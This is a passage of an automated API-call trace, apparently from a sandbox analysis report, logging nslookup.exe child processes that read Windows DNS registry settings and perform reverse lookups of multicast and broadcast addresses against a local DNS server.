AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0054.718] NtOpenKey (in: KeyHandle=0x28f7f8, DesiredAccess=0x20019, ObjectAttributes=0x28f740*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x28f7f8*=0x6c) returned 0x0 [0054.718] RtlFreeAnsiString (AnsiString="\\") [0054.718] malloc (_Size=0x3200) returned 0x355ed0 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3980 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3d90 [0054.719] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f708, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0054.719] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0xf3980, Length=0x400, ResultLength=0x28f700 | out: KeyValueInformation=0xf3980, ResultLength=0x28f700) returned 0xc0000034 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3d90) returned 1 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3980) returned 1 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3980 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3d90 [0054.719] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f708, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0054.719] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0xf3980, Length=0x400, ResultLength=0x28f700 | out: KeyValueInformation=0xf3980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x28f700) returned 0x0 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3d90) returned 1 [0054.719] RtlUnicodeStringToAnsiString (in: DestinationString=0x28f718, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3980) returned 1 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3980 [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3d90 [0054.719] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f708, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0054.719] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0xf3980, Length=0x400, ResultLength=0x28f700 | out: KeyValueInformation=0xf3980, ResultLength=0x28f700) returned 0xc0000034 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3d90) returned 1 [0054.719] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3980) returned 1 [0054.719] RtlInitAnsiString (in: DestinationString=0x28f730, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0054.719] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f720, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0054.719] NtOpenKey (in: KeyHandle=0x28f800, DesiredAccess=0x20019, ObjectAttributes=0x28f740*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x28f800*=0x0) returned 0xc0000034 [0054.719] RtlFreeAnsiString (AnsiString="\\") [0054.719] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3980 [0054.720] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3d90 [0054.720] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f708, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0054.720] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0xf3980, Length=0x400, ResultLength=0x28f700 | out: KeyValueInformation=0xf3980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x28f700) returned 0x0 [0054.720] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3d90) returned 1 [0054.720] RtlUnicodeStringToAnsiString (in: DestinationString=0x28f718, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0054.720] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3980) returned 1 [0054.720] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3980 [0054.720] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x400) returned 0xf3d90 [0054.720] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f708, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0054.720] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0xf3980, Length=0x400, ResultLength=0x28f700 | out: KeyValueInformation=0xf3980, ResultLength=0x28f700) returned 0xc0000034 [0054.720] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3d90) returned 1 [0054.720] RtlFreeHeap (HeapHandle=0xd0000, Flags=0x0, BaseAddress=0xf3980) returned 1 [0054.720] gethostname (in: name=0x355ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0054.749] free (_Block=0x355ed0) [0054.749] malloc (_Size=0x20) returned 0x355a50 [0054.749] getenv (_VarName="HOME") returned 0x0 [0054.749] DnsQueryConfigAllocEx () returned 0x1d21620 [0054.813] _vsnprintf (in: _DstBuf=0x28f6b0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x27f628 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0054.813] htons (hostshort=0x1) returned 0x100 [0054.813] htons (hostshort=0x1) returned 0x100 [0054.815] socket (af=2, type=2, protocol=0) returned 0x110 [0054.815] connect (s=0x110, name=0x1d21640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0054.815] send (s=0x110, buf=0x27f6b0*, len=42, flags=0) returned 42 [0054.816] select (in: nfds=272, readfds=0x26f120, writefds=0x0, exceptfds=0x0, timeout=0x26f0f8*(tv_sec=2, tv_usec=0) | out: readfds=0x26f120, writefds=0x0, exceptfds=0x0) returned 1 [0054.817] recv (in: s=0x110, buf=0x26f610, len=65536, flags=0 | out: buf=0x26f610*) returned 92 [0054.817] closesocket (s=0x110) returned 0 [0054.817] htons (hostshort=0x100) returned 0x1 [0054.817] htons (hostshort=0x200) returned 0x2 [0054.817] htons (hostshort=0x0) returned 0x0 [0054.817] htons (hostshort=0x0) returned 0x0 [0054.817] malloc (_Size=0x9) returned 0x36df80 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0xfaba0 [0054.817] DnsFreeConfigStructure () returned 0x2094e501 [0054.817] strcpy_s (in: _Dst=0xff783020, _DstSize=0x100, _Src="colossus" | out: _Dst="colossus") returned 0x0 [0054.818] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x28f568, nSize=0x0, Arguments=0x28f560 | out: lpBuffer="") returned 0x7 [0054.818] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0054.818] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0054.818] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0054.819] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0054.819] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0054.819] RtlIpv4StringToAddressA () returned 0x0 [0054.819] _vsnprintf (in: _DstBuf=0x28f3d0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x27f348 | out: _DstBuf="22.0.0.224.in-addr.arpa.") returned 24 [0054.819] htons (hostshort=0x2) returned 0x200 [0054.819] htons (hostshort=0x1) returned 0x100 [0054.819] socket (af=2, type=2, protocol=0) returned 0x110 [0054.819] connect (s=0x110, name=0xfabc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0054.819] send (s=0x110, buf=0x27f3d0*, len=41, flags=0) returned 41 [0054.819] select (in: nfds=272, readfds=0x26ee40, writefds=0x0, exceptfds=0x0, timeout=0x26ee18*(tv_sec=2, tv_usec=0) | out: readfds=0x26ee40, writefds=0x0, exceptfds=0x0) returned 1 [0055.812] recv (in: s=0x110, buf=0x26f330, len=65536, flags=0 | out: buf=0x26f330*) returned 69 [0055.815] closesocket (s=0x110) returned 0 [0055.827] htons (hostshort=0x100) returned 0x1 [0055.828] htons (hostshort=0x100) returned 0x1 [0055.829] htons (hostshort=0x0) returned 0x0 [0055.837] htons (hostshort=0x0) returned 0x0 [0055.838] malloc (_Size=0xf) returned 0x36dfa0 [0055.855] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0xfaac0 [0055.857] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x28f4c8, nSize=0x0, Arguments=0x28f4c0 | out: lpBuffer="\x10 \x10") returned 0x5 [0055.862] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 23 [0055.863] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0055.864] inet_ntoa (in=0x160000e0) returned="224.0.0.22" [0055.866] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 12 [0055.867] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0055.868] free (_Block=0x36df80) [0055.869] LocalFree (hMem=0xfaba0) returned 0x0 [0055.870] free (_Block=0x36df30) [0055.871] exit (_Code=0) Thread: id = 367 os_tid = 0xa6c Process: id = "28" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2d1ca000" os_pid = "0xa7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 369 os_tid = 0xa8c [0056.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fd90 | out: lpSystemTimeAsFileTime=0x22fd90*(dwLowDateTime=0x6baae090, dwHighDateTime=0x1d5d030)) [0056.585] GetCurrentProcessId () returned 0xa7c [0056.585] GetCurrentThreadId () returned 0xa8c [0056.585] GetTickCount () returned 0x11574b3 [0056.585] QueryPerformanceCounter (in: lpPerformanceCount=0x22fd98 | out: lpPerformanceCount=0x22fd98*=19844083171) returned 1 [0056.586] GetModuleHandleW (lpModuleName=0x0) returned 0xff340000 [0056.586] __set_app_type (_Type=0x1) [0056.586] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3509f8) returned 0x0 [0056.596] __getmainargs (in: _Argc=0xff35aa00, _Argv=0xff35aa10, _Env=0xff35aa08, _DoWildCard=0, _StartInfo=0xff35aa1c | out: _Argc=0xff35aa00, _Argv=0xff35aa10, _Env=0xff35aa08) returned 0 [0056.597] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0056.597] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.597] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff362e80 | out: lpWSAData=0xff362e80) returned 0 [0056.604] malloc (_Size=0x40) returned 0x23df30 [0056.604] socket (af=2, type=2, protocol=0) returned 0x6c [0056.606] closesocket (s=0x6c) returned 0 [0056.606] RtlIpv4StringToAddressA () returned 0x0 [0056.606] RtlInitAnsiString (in: DestinationString=0x22fbf0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0056.606] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbe0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0056.606] NtOpenKey (in: KeyHandle=0x22fcb8, DesiredAccess=0x20019, ObjectAttributes=0x22fc00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x22fcb8*=0x6c) returned 0x0 [0056.607] RtlFreeAnsiString (AnsiString="\\") [0056.607] malloc (_Size=0x3200) returned 0x115ed0 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423980 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423d90 [0056.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbc8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0056.607] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x423980, Length=0x400, ResultLength=0x22fbc0 | out: KeyValueInformation=0x423980, ResultLength=0x22fbc0) returned 0xc0000034 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423d90) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423980) returned 1 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423980 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423d90 [0056.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbc8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0056.607] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x423980, Length=0x400, ResultLength=0x22fbc0 | out: KeyValueInformation=0x423980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x22fbc0) returned 0x0 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423d90) returned 1 [0056.607] RtlUnicodeStringToAnsiString (in: DestinationString=0x22fbd8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423980) returned 1 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423980 [0056.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423d90 [0056.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbc8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0056.607] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x423980, Length=0x400, ResultLength=0x22fbc0 | out: KeyValueInformation=0x423980, ResultLength=0x22fbc0) returned 0xc0000034 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423d90) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423980) returned 1 [0056.607] RtlInitAnsiString (in: DestinationString=0x22fbf0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0056.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbe0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0056.608] NtOpenKey (in: KeyHandle=0x22fcc0, DesiredAccess=0x20019, ObjectAttributes=0x22fc00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x22fcc0*=0x0) returned 0xc0000034 [0056.608] RtlFreeAnsiString (AnsiString="\\") [0056.608] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423980 [0056.608] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423d90 [0056.608] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbc8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0056.608] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x423980, Length=0x400, ResultLength=0x22fbc0 | out: KeyValueInformation=0x423980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x22fbc0) returned 0x0 [0056.608] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423d90) returned 1 [0056.608] RtlUnicodeStringToAnsiString (in: DestinationString=0x22fbd8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0056.608] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423980) returned 1 [0056.608] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423980 [0056.608] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x400) returned 0x423d90 [0056.608] RtlAnsiStringToUnicodeString (in: DestinationString=0x22fbc8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0056.608] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x423980, Length=0x400, ResultLength=0x22fbc0 | out: KeyValueInformation=0x423980, ResultLength=0x22fbc0) returned 0xc0000034 [0056.608] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423d90) returned 1 [0056.608] RtlFreeHeap (HeapHandle=0x400000, Flags=0x0, BaseAddress=0x423980) returned 1 [0056.608] gethostname (in: name=0x115ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0056.644] free (_Block=0x115ed0) [0056.644] malloc (_Size=0x20) returned 0x115a50 [0056.644] getenv (_VarName="HOME") returned 0x0 [0056.644] DnsQueryConfigAllocEx () returned 0x1d21620 [0057.716] _vsnprintf (in: _DstBuf=0x22fb70, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x21fae8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0057.716] htons (hostshort=0x1) returned 0x100 [0057.716] htons (hostshort=0x1) returned 0x100 [0057.718] socket (af=2, type=2, protocol=0) returned 0x110 [0057.718] connect (s=0x110, name=0x1d21640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0057.718] send (s=0x110, buf=0x21fb70*, len=42, flags=0) returned 42 [0057.719] select (in: nfds=272, readfds=0x20f5e0, writefds=0x0, exceptfds=0x0, timeout=0x20f5b8*(tv_sec=2, tv_usec=0) | out: readfds=0x20f5e0, writefds=0x0, exceptfds=0x0) returned 1 [0057.720] recv (in: s=0x110, buf=0x20fad0, len=65536, flags=0 | out: buf=0x20fad0*) returned 92 [0057.720] closesocket (s=0x110) returned 0 [0057.720] htons (hostshort=0x100) returned 0x1 [0057.720] htons (hostshort=0x200) returned 0x2 [0057.720] htons (hostshort=0x0) returned 0x0 [0057.720] htons (hostshort=0x0) returned 0x0 [0057.720] malloc (_Size=0x9) returned 0x23df80 [0057.720] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x42aba0 [0057.720] DnsFreeConfigStructure () returned 0x71fd4401 [0057.720] strcpy_s (in: _Dst=0xff363020, _DstSize=0x100, _Src="colossus" | out: _Dst="colossus") returned 0x0 [0057.721] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x22fa28, nSize=0x0, Arguments=0x22fa20 | out: lpBuffer="") returned 0x7 [0057.721] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0057.721] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0057.721] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0057.721] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0057.721] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0057.721] RtlIpv4StringToAddressA () returned 0x0 [0057.721] _vsnprintf (in: _DstBuf=0x22f890, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x21f808 | out: _DstBuf="252.0.0.224.in-addr.arpa.") returned 25 [0057.721] htons (hostshort=0x2) returned 0x200 [0057.721] htons (hostshort=0x1) returned 0x100 [0057.721] socket (af=2, type=2, protocol=0) returned 0x110 [0057.722] connect (s=0x110, name=0x42abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0057.722] send (s=0x110, buf=0x21f890*, len=42, flags=0) returned 42 [0057.722] select (in: nfds=272, readfds=0x20f300, writefds=0x0, exceptfds=0x0, timeout=0x20f2d8*(tv_sec=2, tv_usec=0) | out: readfds=0x20f300, writefds=0x0, exceptfds=0x0) returned 1 [0058.062] recv (in: s=0x110, buf=0x20f7f0, len=65536, flags=0 | out: buf=0x20f7f0*) returned 42 [0058.063] closesocket (s=0x110) returned 0 [0058.064] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x22f9a0, nSize=0x0, Arguments=0x22f9a8 | out: lpBuffer="P\x8fA") returned 0x3a [0058.065] CharToOemBuffA (in: lpszSrc="*** colossus can't find 224.0.0.252: Non-existent domain\r\n", lpszDst=0x418f50, cchDstLength=0x3a | out: lpszDst="*** colossus can't find 224.0.0.252: Non-existent domain\r\n") returned 1 [0058.065] _write (in: _FileHandle=2, _Buf=0x418f50*, _MaxCharCount=0x3a | out: _Buf=0x418f50*) returned 58 [0058.071] LocalFree (hMem=0x418f50) returned 0x0 [0058.071] free (_Block=0x23df80) [0058.071] LocalFree (hMem=0x42aba0) returned 0x0 [0058.071] free (_Block=0x23df30) [0058.071] exit (_Code=0) Thread: id = 372 os_tid = 0xadc Process: id = "29" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x196cf000" os_pid = "0xafc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 374 os_tid = 0xb0c [0058.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fc70 | out: lpSystemTimeAsFileTime=0x10fc70*(dwLowDateTime=0x6ca993b0, dwHighDateTime=0x1d5d030)) [0058.253] GetCurrentProcessId () returned 0xafc [0058.253] GetCurrentThreadId () returned 0xb0c [0058.253] GetTickCount () returned 0x1157b39 [0058.253] QueryPerformanceCounter (in: lpPerformanceCount=0x10fc78 | out: lpPerformanceCount=0x10fc78*=20010841273) returned 1 [0058.253] GetModuleHandleW (lpModuleName=0x0) returned 0xff4e0000 [0058.253] __set_app_type (_Type=0x1) [0058.253] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4f09f8) returned 0x0 [0058.253] __getmainargs (in: _Argc=0xff4faa00, _Argv=0xff4faa10, _Env=0xff4faa08, _DoWildCard=0, _StartInfo=0xff4faa1c | out: _Argc=0xff4faa00, _Argv=0xff4faa10, _Env=0xff4faa08) returned 0 [0058.253] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.253] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0058.254] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff502e80 | out: lpWSAData=0xff502e80) returned 0 [0058.278] malloc (_Size=0x40) returned 0x18df30 [0058.278] socket (af=2, type=2, protocol=0) returned 0x6c [0058.280] closesocket (s=0x6c) returned 0 [0058.280] RtlIpv4StringToAddressA () returned 0x0 [0058.281] RtlInitAnsiString (in: DestinationString=0x10fad0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0058.281] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fac0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0058.281] NtOpenKey (in: KeyHandle=0x10fb98, DesiredAccess=0x20019, ObjectAttributes=0x10fae0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x10fb98*=0x6c) returned 0x0 [0058.281] RtlFreeAnsiString (AnsiString="\\") [0058.281] malloc (_Size=0x3200) returned 0x65ed0 [0058.281] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3990 [0058.281] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3da0 [0058.281] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faa8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0058.281] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x2e3990, Length=0x400, ResultLength=0x10faa0 | out: KeyValueInformation=0x2e3990, ResultLength=0x10faa0) returned 0xc0000034 [0058.281] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3da0) returned 1 [0058.281] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3990) returned 1 [0058.281] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3990 [0058.281] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3da0 [0058.281] 